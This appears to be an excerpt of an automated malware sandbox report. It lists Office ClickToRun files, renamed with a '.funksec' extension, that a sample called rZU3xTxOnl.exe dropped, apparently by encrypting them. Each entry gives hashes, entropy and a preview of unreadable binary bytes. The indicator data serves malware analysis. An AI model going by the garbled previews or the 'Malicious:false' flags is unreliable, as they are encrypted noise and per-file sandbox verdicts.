                                                                                                                                Preview:.v..".s0.^@.{.V.r...r0Y. .'l.4...5....&..V.9"...O!..?.;.Ds...B.....)a.&..G..G.h..2.r....)......#.n..S..,;.n...~...(....qd... D.~.EL..w.:..5....wh..W..uk.a....0.<...."C.St......I..B.h,."....PT.R.Tq..n.........9.g.b...^.g.....&Q.v.........9a.&.......5..2.r....7......v.0..S...,b..nZ..~..(....md... ..c.[LI...g.#5....wd.GW..-kta...j.D.t.."<.ot...........<Q..2.f....V.q...z.k.k. .o.Vty.._...b.k.G.].aD.,...^.....}a.&.8...'....2.r...s.........i..S...,_..nc.!~..(..?.=d... ..$.[L_...g.#5....w@..W..wk.a....9.,.!.."n.xt........X.Jh..o...`$.3..dN.v...3..i.....v.$,H...^.pPN.....N.....)a.&..G..@.s..2.r..........O....S..,?.n..F~...(..z..d... .....L|...r..5....wr.CW..dkta...d.y.S.."0..t>....._."..Y!.R.........<t..g..$..f..F ...8._c...<.x...v.........9a.&.p.....B..2.r...2......d.>..S..,=.n..G~...(....bd... o.H.rL%.R.@.25....w{..W..XkHa..].u.8.."a.Ht......K.".N......<...m....JA...]..]..r..g....^>.>.^~..l.*...N.....la.&......i.u..2.r...A......5.6..S..,&.n5..~..(

                                                                                                                                C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\C2RManifest.office64ww.msi.16.x-none.xml.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):390694
                                                                                                                                Entropy (8bit):7.720883291808271
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:6144:cLeo2PyqmxLnxitPKtBd8x8HPsAcOkojMqqN4ApalPEiaG1lGJO3pCmyAPIlAOYG:cLetPyBxMKnd8xG3MWIatEip1IO3pCmQ
                                                                                                                                MD5:50D80F0A5656B08799CDA9C6D2D4382C
                                                                                                                                SHA1:0B763993BDDB8F18BF68A29B99F9DF77433D1531
                                                                                                                                SHA-256:6CC0E7ED311EC4D501AD30F037FC43CF91573C59F6E60BF0A395B7F194185DBD
                                                                                                                                SHA-512:C6E7E1F5CB3DD0EB01A741C040D4E010575E366BB12AD3321640736CCCE11EBE4E9FD7ACB877C5D9E165AB1259483B7D6B35D409EFB845D2F942CBCC971AE004
                                                                                                                                Malicious:false
                                                                                                                                Preview:...n.'..o\.H72..>..{..#.....?..+.zR.E..S.n..B.9.k. j?DP%....VV5_6.._.6.....u.......T.....s0.\\.H.QXa%CE..{-}./u"\..96....G.....]u.....|...`O...`E.;;...ZQ.YU..Qix....ba.f.}~?..j.D..........oCf..Ce..3.._.@.#/....J..t..A...AP*...V.5O6..._..u...A.Z.......T.....se..\.H.Q.a|C...{ }./."N..9*............u....{...yO..P`..c;l..Z...!U..,i....ea.f.}K...6.....GrY^.1.D .r+......d&./....:..L%Q..b...PY....VJ5.6.._..1.....h.E.....T:....s..G\.H.QUa?CC..{.}./P"g.39~.....E.....2u....u...dO...`O.u;?..ZJ...HU...i@....6a.f.}'~...J...%....r.....A.(..~.M=*...n......V...Ap..OP+...V.596..._..q...D.6.s......T....csa.t\.H.Q}auC...{'}./]"*.}9J...........9u.....?...xO..C`D.w;6..ZF...U...ix....wa.f.}.....2.y.q@~[%..v-c FV[.......!......$.o...4.....Pn....V.5]6.._..w...C.^.r....Tr...csx..\.H.Q.aaC...{"}./."J.n9,.....T.....hu......`..+O...`P._;;..Z_...U...i}....sa.f.}.s..E.\B...8../Y.w.....>d..J...QV@..NH...C_..EP8....VU5.6.._.......~.B.....T....Gs,.t\.H.QYaqC...{C}./t"

                                                                                                                                C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\C2RManifest.officemui.msi.16.en-us.xml.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):184244
                                                                                                                                Entropy (8bit):7.695377127659629
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:3072:/06bvJWwV7MtVQPvrISglWG2F/Jdf75S2zIb9qK0MaFpT9trjlVIQ05lcHo12wJM:/06bv56tVQ7ISQWGQ15S2W9FsFpTPlV7
                                                                                                                                MD5:F0EDD4F73A5F8C35ECAD7D6E0FDA23EB
                                                                                                                                SHA1:65F1FC7D1B275463227A49EAAF9C966815BD584A
                                                                                                                                SHA-256:8FC95189E4DE638635542A3B63759976B1EF7B1EDB838899B1C103ED1FEAF4EF
                                                                                                                                SHA-512:0AB9D503513D83CBA6E52FDD14AF8567FB454D3F49161D8C398A623E3D3F5DBFF819133157CF5ACC1BF985A83B68461C0BA65B385730A83BC67FB56AB6F3FC36
                                                                                                                                Malicious:false
                                                                                                                                Preview:.~5.<3..q..4).~..q.....s..M...+k......Ed/7D....k.0...S}.O a.t......?...+..H~s..{\9.KE..!y..Q.*....).j2..c=j4...D..lB......#..m..&.@..\_4?...o]k.\..lw..%-^?.....+..Q~ (*u..I...$G..d..`%5.dx....pI,......y{..u...>.`.s}I.V..[J n../......j.J.h..H's..{N9.UE...y....t.].^).jk.Acjj9...D..lB..|..#...0.`&H@..[_8?...o.k.\..w..h-.?k.j..T..Q. !*8.nI..FN...............r.'.j.A`{......0~.D@..[. ;.p.......W.m.Q..H-s..{.9..#E..oy.........).jf.Sc.j[....D...B....j..#......x&A@..._r?...osk.\.cw...-u?!.2..%..Q\ .*..mI..%.[.....Mr6.9..{..o..<^.@@.X...._..CnR...W..,.[V ..p.......)...>..H1s..{.9...E.._y..R."....).jj.Gc.j8...D..vB...w..#......|&H@..X_.?...o_k.\..qw..d-}?4.!.. .Q+ {*f..I........r..|..].wM..Y..).H..q.|.>r.w..R......[@ m..9.......?...(..Hrs...{:9.GE..Qy..d...O.S).j8..c>j4...D...B......#......`&Y@..T_;?...o7k.\..5w...-_?........Q. m*..II.{|w^;5.}.=.!...C%&m~...?y0..%.%......~..k...6...[. c..J........)....HYs..{\9.5E..wy....f.H.0).j..5c.jV....D

                                                                                                                                C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\C2RManifest.onenotemui.msi.16.en-us.xml.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):25346
                                                                                                                                Entropy (8bit):7.680477261146648
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:768:TRnCpR1pwHTmEuwrflg+FCDj5I6BctMAs:F66u+sDju6kMAs
                                                                                                                                MD5:90859561E9210C3ED7EFA81C50C7C225
                                                                                                                                SHA1:2DC1DD88C1AAEE8D929C06F4094DD01543E16243
                                                                                                                                SHA-256:9BA66CD778CEF993B7404DDD9180931D6263302BC6E196E0E74DBBC34FEA00A4
                                                                                                                                SHA-512:70CF7C79D0BF63653AC88BDF92515B4D9132AB901B95FA0076F0A46E22BB07151DC96B9C79CA293D90F9FB422F92C959CFE060B4D775AF09148DB3228E4F76F2
                                                                                                                                Malicious:false
                                                                                                                                Preview:.?"G.:J...(....u....((^......WT..WO....=.f.<.?..w...B....!h.......S.S...K...i.\...YeS...wK..?.G....j....Iq...Y.Z]9%m.Eya,..@....Vd.c...b5.Z.I4....N.....V..eL..6.&s...K.._.#.-WF..S.H.o.........1...C;.,...tIL.R@.r.......!!.....MS.S.....K..Yi.\...Y{S...gK..a..G..]..j...Dq..Y.Z]99m...E&a1......V@.c...b9....4Y......R...Ge1..6.&r..K..U.o.X..|. ....*l.......L....t..AJ.'.P1...x..Y..J..!\.....CS.S.....K.. i.\...Y.S....2K....G.....j..:q...Y.ZO9Mm..E.a@..m...V@.c...bq.~..4h...p...<.q..e...6.&Z...K....sy..e.X.....c.}.....N.~m..g.x.p..h../]N2.....c..!5......S.S...K...i.\...Y-S....2K....G....j....Bq..Y.Z(9;m...E{a].. ...VD.c...b..\.A4D......?....ev..6.&X...K...]..[.=^.m.)....<.2......._..J.!.y...oe..:......!!....._S.S.....K...i.\...Y.S....jK....G..#.j...Vq...Y.Zr9lm...Eja#..~....V...c...b8.M.j4H...Y...a.).De...6.&r..K...R..?`..r7.. .~5qi..6....;1.....C........JL$.....J..!\.....CS.S.....K...i.\...Y*S....$K..0.G..!.j...Jq..Y

                                                                                                                                C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\C2RManifest.osmmui.msi.16.en-us.xml.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):2834
                                                                                                                                Entropy (8bit):7.60789029997128
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:48:E7it7Zj7xceE6qCorO5GKnRgfsXK7F2wFwRgNe9ER8tq0DhFb1xnELTOCjDZuqLY:YQjtceE6qCoK5GK6Uu37e9ABsFnChDIZ
                                                                                                                                MD5:2DBB8B4B6D9802AD4850F26C7012BC1D
                                                                                                                                SHA1:F22EB612B760AF1F412FD177C612F148A7BE01B9
                                                                                                                                SHA-256:436DDAB1A6A3D1BEBF1D9BFCD3FA7A17173CE041131FBC62580B9FB90E8357DD
                                                                                                                                SHA-512:4739661E60BC676F3B20A6742C650ADCE282326A93BCDEDF157E6415FEA6C96C7BA742A710BDAED3F53FF1D6A4E6D92D45F0786BB885CBBD494E2E06F984315D
                                                                                                                                Malicious:false
                                                                                                                                Preview:.x..v_.60F.z..Q..'S...M.7]..Lu..}.l>.J..T5P...8sR^.h+................-T..(.ms..s..C.>[[...0.V.5.....t?.2..|....0p.R}.-c.......~cTnT..;.5.'....>2..&CCB....*..F..<..y> .._z.....~z..j4..I.",..$:xA...|....&2...[..Uw.|w..7K.c.._l.............-....k.4s..,..C.>^[...0.V.5J......tk.k..|...."p.Ro.-c...._.ccJn..;Q5.'....>>..&.C.....*....<...>_..^z.....~......\........^8........5C...fK.>.[X.?....2y...........E..-....Q..s..!..C\>.[...0.V.56....te.V..|.....p.Ro..c.....P.$cJn..;Q5.'....>...&.C@....*..O..<.B>...^z.....~.[..X}.Z..A....Zg.p?...x7.g.g.M.uNj|..<...].N.s..............-P..>.js.. ..C.>T[...0.V.5s.....t4.6..|...wp.R].Kc.....R..c.n<.;D5.'...>(..&.CS....*....<..=>S...z.....~nb:.....XM......H.'~. ...N>6..q1..&.?...'.Q.'.............-...h.6s..$..C.>/[...0.V.5X......t..4..|...|p.RG..c.....+.Hccne..;v5.'....>!..&.Co....*..+.<.h>...Nz.....~'.....(.....g.Y6...r.>....'v.qM.b..gu.%].DW.aQ...........T..-U...y.Is..r..CW>.[...0.V.5.....t8.0..|...ap.R

                                                                                                                                C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\C2RManifest.osmuxmui.msi.16.en-us.xml.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):6708
                                                                                                                                Entropy (8bit):7.687990070031324
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:192:d9930zqB/X5b1UjfWZw7sk3U54LTgUuE82tamAyd9:XKuJUjfWZw7+5OXu4IJy3
                                                                                                                                MD5:6E6EBCFD4860EEDAB8401EA89C77D10C
                                                                                                                                SHA1:3629F520E5F267D9A128961664295344E4EE33D9
                                                                                                                                SHA-256:CDF31090C0747894056B8A45C741B303EA5A28C08F921C3A1456F2B0852145FF
                                                                                                                                SHA-512:37F979E4ABC558537351A3C82378C38DB8FDA6ACC08A59BD1258B8B369F4FB53E171FAA2B48392F7DE92E238136F2DC194B56E90AA0F2562A6AB3D4BCB3E73E1
                                                                                                                                Malicious:false
                                                                                                                                Preview:.*".K.....2.r:......R..l..y`.P..Yc.h,......j...r.D.d.B..n......'w.^...(j.%..{..3..sX>.{H._...nO8k...RB....=.}2....r...o..}........x....{.......E.^R..:.....C.}....`........>...i...n)...B^./.S.J.G.K...9/.Jx..Z...N......B..'......aw.......(@.y..{..3..zX1.kH......,Olk...R.....=.} ........0..}....h.\.\....{......AEC^:.:......oC.}....a......}GP9.....s..D._..E...O.s..zPuuG4.9.K..qy..c.....B..r.....0w..!....(..w.{...3..6Xn.>H..X...uObk...R,.?. =.} ...7...?.[}....a.\.\....{..9...^E.^E..:....:C.}...a........xw.K......6.P[....WX...?..\4._.j.6.h.\..v?...B..b........w.^...(q.v..{..3..IX..RH..8...BO3k...RJ.X.L=.}.....,...=.Q}....j.I.a....{......SE.^4.:......HC.}....6.......@....g.h.=y....~#.=$.k.t..Tg..>.....G.i........G..B..&......|w..i....(@.r.{...3..vX$.&H.......O.k...RU.Y.G=.}.....N...D.7}....+.{.M....{......]E6^..:.....#C.}...q......k......H.8...<..../.3....B...YgB..T....2!..1..B..b......w......(v.$.{...3.."Xp.7H.U...`O?k...RB.S.Z=.}

                                                                                                                                C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\C2RManifest.outlookmui.msi.16.en-us.xml.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):155542
                                                                                                                                Entropy (8bit):7.724228690508505
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:3072:8cNjne1In8K/FwHtn1pYZL6f72ykU+2VyYoIxrJcYaJptZ0pfX:blec8nNn1pYZ6fB5LyHIxpaL0pfX
                                                                                                                                MD5:BBDD51116DFB97474857C65E624AE4BD
                                                                                                                                SHA1:12A303239D375710B3942B88C4A719D938799F13
                                                                                                                                SHA-256:261E307D197DEAA1685FC0A48B2E4EBEEF68A890997349BFA03F2BFB7D57D69B
                                                                                                                                SHA-512:B205AAB268814EBBD444CE0196FB0481EEF5E87292B769B3C771DDBA2B2DDF5A63F0ED25C3CACE2166448ABF8654C89F78E0647CBB2A664522374AB4B2D1F316
                                                                                                                                Malicious:false
                                                                                                                                Preview:=<x.......btN...Q..&X...r.T..H.f.2|..a.V_.....2.B.B.r.......@...l..i..M....a.=B.Vq..YU..E.$.J.......L...2$.......;:..N3.@w%..F..:4..x..d..^..d.YA."..[.+,.....?)7.>Fk..Ve%.$H...X.....T...}.Z......W.a4.!]=..)4rQ.,...Qmf...(..a..........0../..M..m.8.cB.Va..YP..E.$pJ......D.....2z.......^:..N3.@.%....:*..xl.9.0^..h.@A.".....C,..T..?Q7d>;k..ie4.#HM..X#..m=e...%,.?..+....p.$&......". h...3........C...W...p...q..M..).D.;B.V8..Yi..E.$TJ.......O...2".......:..f3.@(%.D..:...xl.1.7^..D.]A.".....,....?87S>.k...e...H...X.?RM-`..0E.GBxZ.l.>.O..V.f\^.L.........|6wv5.............B../..M..i.8.dB.V...Y\.E.$.J......0.a...2........:.(3.@3%....:l..xe.*.y^..6..A."..B.N,..V.?37.>Bk..We$./HU..X..x....a.59.p........&x.L=0......U...~.HX.........C...C..*..M....I..B.Vx..YT..E.$mJ......M....2g......-:.13.@w%..]..:K..x".x..^..w.vA."..F.Y,..V.?97.>Fk..Ke$.|H...X$...*....t.o2..<..&.?.p...C....^.A...dr.+.U8...._...W...k...^..M..o.A.<B.V ..YU..E.$nJ.......Z...2&.......K:

                                                                                                                                C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\C2RManifest.powerpointmui.msi.16.en-us.xml.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):38668
                                                                                                                                Entropy (8bit):7.706919624621359
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:768:n6tk7GmuytXOSWrhsHaS3Q9vnQrb0K5EB7XEN7HL6SKUTmEpISroR6n8ng:nHYCOSWrhsHagOPQpmBTe75KUv3odg
                                                                                                                                MD5:1BFCA09D51557C6146AD0ECB993BEFC3
                                                                                                                                SHA1:97B50D194D81F85920960BCDBEAD2DAE7D51DF11
                                                                                                                                SHA-256:C484AD14E4436F1B067E01C8603263F0A12D1B05D0BDFAD696C1E31F70E4B04F
                                                                                                                                SHA-512:1E82C757B5714A71C6CED6B8BE18DEFFDDCA13BCC44F3D143EC3DF248958290D128AB255D98E948567624EC61F7CF1948F8989356969D5FB9F88FA53C886FA01
                                                                                                                                Malicious:false
                                                                                                                                Preview:..... x.@.+.........AO.b.."...B.'.......DmBV.l..&|..89.i...d..d..u..uhwQ.&gx.F.Jy....J.W...m..Vn.......Vs......y:N..K..b.H.QJ...I|^<|g+0D...+.1z.&.........$.z....d.6..4U...{.k....+?.|...\'.....)T.."7...:E......S40.5..~=9.i..d..t.uV.*h4Q.&9x..V.Xy....J.W..Am...n..N.J.V$.....k:N..K......LJ...I.^a|C+7D...'.kz.&........].\.....k.C.7..4....?.........a.....D.r./.4....<.]#w}...V?.`d....~h9Qi...d.0.uk..h.Q.&4x....yG...J.W..Qm..Tn....G.VD..|....:X.K..z.".6J..IV^P|V+%D....h.sz.&.......<...K....Y....47.....9x..q.W..........`...B`?...R.9G:g..jT0.&...2~H9qi..d....u..uhkQ.&gx...Hyx...J.W...m..zn.......Vq.......:8..K....H.NJ..I.^e|D+!D.../..z.&............7....\....48...,.x;..].......^.b...x,..i..k...F...v.....k*..QG./~*9.i..d..t.uU.%h$Q.&ix....yG...J.W..5m...n..1.-..VF..e....:(.K..=...SJ...IF^3|.+sD....e..z.&.........4.'...]...n..4 ....)mh...o7.S)...y.O..[...~n...R...'A5hA.Z..N..%...~t9ri...d.....u..sh:Q.&.x..G. yR...J.W...m..Fn.......VX..X...

                                                                                                                                C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\C2RManifest.publishermui.msi.16.en-us.xml.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):18398
                                                                                                                                Entropy (8bit):7.675601970490392
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:384:EMNhl2WI2P7h19a8EURELuwnA1ykeFd5O4VJ2rlnXjtYQ+2Sq:EMfl2x2P7/9a5UOdgO/9GrxhYQLV
                                                                                                                                MD5:6216EC574BFB26C3F33DE858AAE57399
                                                                                                                                SHA1:6E1BFBBC8F2548E48FF898311ED96E681B875ACF
                                                                                                                                SHA-256:61DE2E2A6F0F96A9A5A4F6D62FE9822FA6449A74DC44224E4053F0EA653D651B
                                                                                                                                SHA-512:893B3C43562A928FECEC25BE8E49AC93A2AD82CCE07D2EBF498B6DAB451957B5D9F50885A1980FB29CC7F7CDD0550EA526B553A33B7A2F2852AD633121F09BB2
                                                                                                                                Malicious:false
                                                                                                                                Preview:^..X........&...@a..$..%....;......^.nT....7...5..j`8-.-.y.P.RY.7...._...../......p.~.^...P.G..~.-F`CM..3..-....n_.fH.x.6M...Q.b.....{.2./.....~.n..wM\xq.|.....RlZ".w.....u......*..i+3s..b'..d.Z.I..7]7.|'..........0z+...(.v....Y.7........v.......b.{.@..._.W..~.-.`.M.j..-....|_.fZ.x.*M\..Q.b.....{.2X/.....r.4.w.\.q..1....R.Z].P.....Ju..........#{..r..A.Z.....yw...Y.f|k$.*....eG(=..}.#.d.VY.7....7....O.......>.?.6.V......~.-D`AM..g..-....._.f^...SMG..Q.b..u..{.2Q/........L.@..w!\wq.A.....RYZ,.G....vu..w7,..=...sQ.....{.&....n....U4.B...Z...4R....4...e.VY.7....I.....2.......4.&...Z...(..~.-L`OM..k..-....|_.f/.b.9M?..Q.b..@..{.2X/.....r.l.wO\eq.=.....RMZ#.6.....u.....N,t_(B]N.W.[9....;]e.G.o.f..lj(.+j...).{....".u....Y.7...._.....'........r.R.r.!.7..~.-.`.M..9..-....n_.f,...(M=..Q.b..m..{.2I/.....!....wd\.q..[.....R^Z..t....Su.....5...]k.:3.6..*K..e1.[...7 ..2.d}.f.p.N.g..../.K.".6Y.7....V.....'.......".....Z.>....~.-.`!M.S..-....)_.f

                                                                                                                                C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\C2RManifest.shared.Office.x-none.msi.16.x-none.xml.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):1128512
                                                                                                                                Entropy (8bit):7.698131370250583
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:24576:2EkyBMrP7faLpKGgt9d7TLUfKwhUlUz3K3fIWmZ:tkyOrWLpKXTLDlUjK3fIWmZ
                                                                                                                                MD5:8CBA39F03376D2FF455A49EB3EB201C3
                                                                                                                                SHA1:14E81ED9A2352464B8EC441A7944A11302345EE7
                                                                                                                                SHA-256:DCD697CACD6EF114F3640AA186B81AD475B6E23A9A4228BF15026BAA7E0F9756
                                                                                                                                SHA-512:E8E738B530CA583B42E403A54BA4FE828B6457DC4E7E60A9AD46925B870C0F183EEAE2420CF19C1634ADE6C1EA9C8A8C76E27969E93189A066E9EF84B0989E37
                                                                                                                                Malicious:false
                                                                                                                                Preview:.7(.ac..7.,..H.....#7s.s..+o.&..B.....R_N.t.X......t...U....tY..r..+...U.P..........3...`..=...b....d.7F-........_..*.+.f.U.Es9yO..x"9.Uss0...o\.fpO.....t.....~IdG...[.X..H.qz9HW8V..Z...........d.P...JBOt..Se..I.SB.=v.Fr....&P....t..Tr..m..........0.......-...o..=...bB..0.nFs......_..*.+.f.U.En9gOL.."d.qst0...oP.<p....w.0......~ d:...d.I..H.q19...,).r..E.+'....>.i...!..!.p..L.)5BM..!..._...&..{..tY..r..3...R.u.....Q.......&.K..=...b....i.-F+........_.=*.+.f.U.E.92O~.."l.vsz0...oP.qpE...*.h.....~.d........FH.q.9Q.n....W.<..T.5.\NZ.O.o|...'2U+.y......A....I&^....t..Wr..m..........[.g.....\...r.=...bF...A.gFw........_..s*.+.f.U.E%9!Ou.."w.8s00...oX.#p.... .k.....~Od]...}.X.JH.q#9.Q.\..,)~G.........9....0uJ..P..q.I<)....D.C:&Y....t..Tr.........}...[......)...{.=...b_...C.lFv........_...*.+.f.U.El9.Ol.."A.dsf0...o..#p....*.g.....~Od....u._..H.q19.E...H.MD.i##..(.......>..S:..ai.~&.W..1..2...&..K..t../r..$....J.\...T.......T.k...=...b=...R..F........_

                                                                                                                                C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\C2RManifest.wordmui.msi.16.en-us.xml.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):112724
                                                                                                                                Entropy (8bit):7.680368630620005
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:3072:qqznnnRkUBXyT0ZSa4qLPCL2NYpmNdnLSHD9P:qqznKUnr4zyD3n8P
                                                                                                                                MD5:FD1FBD4EAF198953F2A01FD3E8CA73C9
                                                                                                                                SHA1:02B006788B9B3C7B78533288394549C0F98851F1
                                                                                                                                SHA-256:F497F77EE2A7E175C5EE7E775FCBD11FCE8FC1796ADA5DB15CF2C675D238F2A5
                                                                                                                                SHA-512:21B66636AB620D8908651E4C926E7AF161BEF6F7B96E9118B0040096C901789B410EFF17E09FC284F8E1EB0331F9F657EA97899E44CBC91550AECD80CFB71A0A
                                                                                                                                Malicious:false
                                                                                                                                Preview:..$.b..B...zN......1..i......,..}gWe %)|&..I..;>u.....6N3.!...D..Z.....L<.(.(.......X..+.{PA.......y.G..4...`..c...4.7.m......$U...fa.J..e.t-0.,.=MA..F..G\.t.R.F"`0.a*..I.c....V.M..2....%..?_....../z.;..)..e.Y-..z{I.6A3.!Q...T.Z]....Le.v.........X..$.kP.......-...4P..`......4.7.m{.F...:U@...;a9J..e.t!0...,..UM...F.?\.t.R.F.`1.h*Y.-.qY..x..}..u...M.9.u.?.tZ..Ul.....m.<%y.<D.9$.\iIE6.3.!......Z`....L\.{.........X_.e.>P.......x...47.`.a...4.7.mv.c...8U0...;a9J...e.ti0..,..)M...F..`\.t.R.F.`..[*o."....YA&$.a.........(...+...Pnz.:.a&..8.DN...=..LIl6"3.!;.....Z.....L:.!.2........X_.j.>Px......t.M..4Q..`......4.7.m.....{U}...)a=J..e.t.0.,..PM...F...\.t.R.F.`..V*m.E..l.Q[.0.....B.J.I....`..B..(.{.J..&.v...6...1I.6_3.!W...W.ZM....L8.".5.......X..M.fP.......J.a..4$..`..z...4.7.m......)U#..daqJ..e.t 0...,...MV..F..8\.t.R.F.`1.h*Y.-..z....\..h..*......i@'.. .N.M)X.,....zWd..oiIE6.3.!......Z`....Li...#........X[.l.(PT.....Q.G..4...`..<.

                                                                                                                                C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\Microsoft_Office_Office Feature Updates Logon.xml.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):5568
                                                                                                                                Entropy (8bit):7.643319197630839
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:96:2Vk5PvKsaaLzS6zQIJsfD3O0eKvD9sDiupycz2BXjU48hz6e6TO95waY9C2ZR:qqJaWMIJsfbOLUyeuoDJ6h5eShY9Cc
                                                                                                                                MD5:9FD46E57E1A554172F8E3D4A730A40A5
                                                                                                                                SHA1:6A748B50667EF8E2884C73A39118767DAEC10B75
                                                                                                                                SHA-256:18B9DAD9565B45E9BB619A7E5616C983ADF28188DF2A60968D72B82E29CA35C6
                                                                                                                                SHA-512:8AD66AFF069AF4078289684CF17CDA3AA43E3A393ABA5FB3724D96A04CFBED8DCF16C2FB18F35013004D019ADA3E9442B3D57FB0DB384DA5D0D2E8B7395259B3
                                                                                                                                Malicious:false
                                                                                                                                Preview:...._.+SM..T...M-.@.=.<0.9.M.b.....V...|2d....}N.s..g.....!.....|a..X.....sC....}..I.o.k..h..:J.'.L.>N.}..U.V.JsSWd...\...^.../y..5.......A.H(S.-......vD..1.K..%}...Y....j..S..1......b......f.......7 .....I......w.f....!....|c..X...s_....:..I.o..g..d..:[.'.[.8N.}..F...JJS>dK..\.^..g.Qy..;.......X(...-....Wv^..1.K...}+..Y.Q...P.3..L..z.........1.f.|.<...Z.@..5....`..f.....!.....|v..X.....se....0..I.o.@...1..:H.<.M.iNB}..Y.C..J.S d...\...^. ..y..9.......G(a.-....uv ...1.K...s}I..Y...].O.U.0pDm..IQ.... .HI0.n........H{.."..t.z...f.....!.....|x..X.....sJ....<..I.o.....y..:F.:...ZNz}..a.H.JBScdO..\.^.!..y..9.......>(@.-.....v.....1.K...C}D..Y..P2.y..Z.7!.Y .r)L...f......5.e.}/E:.$..z..n^.?...f.....!.....|).4X.....s.....,..I.o..'..x..:L.;...#N.}....T.JHSddN..\..^..b.My..f......e..(C.-.....vD..1.K....f}U..Y.......{...~......3...Ye.b.5.f..ubo4..lu..xW..f.....!.....|...X.....sJ.......I.o..=.....:..=.X.3N.}.......J

                                                                                                                                C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\Microsoft_Office_Office Feature Updates.xml.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):9264
                                                                                                                                Entropy (8bit):7.692443405570874
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:192:dINlmVONmoseBShvj+Qc8z6kblJwfOoNtT3iva:eNlURFN+vqJJwfvtTyva
                                                                                                                                MD5:7891FC18976762D5D44618D57640B6FF
                                                                                                                                SHA1:A5C595DB9E031FE5E51DF826AFE96F9B39D312D2
                                                                                                                                SHA-256:C46DBE4EFF73AA2A201DA6DCCDEDBE6D4D11D736B4EBC5B2732905D161F916FE
                                                                                                                                SHA-512:062D5FD587DEBD2F3620B151EDE28ADD2CCD8666499C8819240207CC166B4A304883F97055D149821A4A34686DC9CCD46014CF1310B315FA4F26D0B9818FA7EC
                                                                                                                                Malicious:false
